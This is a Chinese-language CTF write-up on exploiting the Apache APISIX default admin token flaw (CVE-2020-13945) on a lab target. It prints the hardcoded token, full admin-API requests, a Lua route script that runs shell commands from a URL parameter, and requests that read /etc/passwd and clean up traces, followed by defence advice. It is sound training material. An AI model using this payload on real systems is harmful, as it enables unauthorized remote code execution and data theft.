某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

发布于:2025-06-14 ⋅ 阅读:(15) ⋅ 点赞:(0)

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如何从零开始识别并利用这个漏洞最终获取flag。

题目信息

靶标介绍:

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

目标地址
be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

解题过程

第一步:初始探测

访问目标地址,得到如下响应:

{"error_msg":"404 Route Not Found"}

这个响应告诉我们:

  1. 服务正常运行
  2. 没有配置默认路由
  3. 很可能是Apache APISIX网关(根据题目描述确认)

截屏2025-06-13 08.32.46

第二步:识别漏洞

回忆常见的APISIX漏洞,CVE-2020-13945浮现在脑海:

  • Apache APISIX在使用默认配置时,会使用硬编码的管理员Token
  • 默认Token为edd1c9f034335f136f87ad84b625c8f1
  • 通过这个Token可以访问管理API创建恶意路由

第三步:验证漏洞存在

使用Burp Suite构造管理API请求:

  1. 发送一个简单的GET请求到管理接口:
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

如果返回403,说明Token错误;如果返回200或404,说明Token有效。

  1. 尝试创建测试路由:
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json

{
    "uri": "/test",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

成功创建路由验证了漏洞存在!

第四步:构造攻击载荷

为了获取flag,我需要执行系统命令查看服务器上的文件。构造如下恶意路由:

POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411

{
    "uri": "/attack",
    "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "httpbin.org:80": 1
        }
    }
}

这个载荷创建了一个/attack路由,它会执行通过URL参数cmd传入的系统命令。

截屏2025-06-13 12.11.49

第五步:执行命令寻找flag

  1. 首先检查当前用户权限:
GET /attack?cmd=cat /etc/passwd HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

返回结果如下图:

截屏2025-06-13 12.15.43

  1. 查找flag文件(通常位于/root或/home或者/tmp目录):

截屏2025-06-13 12.16.51

发现flag位于/tmp/flag.txt

  1. 读取flag内容:
GET /attack?cmd=cat /tmp/flag.txt HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

成功获取flag!

截屏2025-06-13 12.17.33

  1. 提交成功

    截屏2025-06-13 12.19.57

第六步:清理痕迹(可选)

在真实渗透测试中,记得删除创建的路由:

DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

漏洞原理深度分析

这个CTF题目考察的是CVE-2020-13945漏洞,其核心问题在于:

  1. 硬编码凭据:APISIX默认配置中包含固定的管理员Token
  2. 权限设计缺陷:管理API没有默认的访问控制限制
  3. 脚本注入:路由配置允许直接执行LUA代码且无安全过滤

攻击链如下:

默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE

防御建议

针对此类漏洞的防御措施:

  1. 修改默认配置:部署时必须更改所有默认凭据
  2. 网络隔离:管理接口不应暴露在公网
  3. 输入过滤:对LUA脚本进行严格的沙箱限制
  4. 最小权限:服务账户使用最低必要权限

总结

通过这道CTF题目,我们学习了:

  1. 如何识别Apache APISIX的默认配置漏洞
  2. 利用管理API创建恶意路由的技巧
  3. 通过LUA脚本注入实现RCE的方法
  4. 在CTF中寻找flag的系统性思路

这类题目在现实中也很有意义,提醒我们始终要修改默认凭据,加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助!


网站公告

今日签到

点亮在社区的每一天
去签到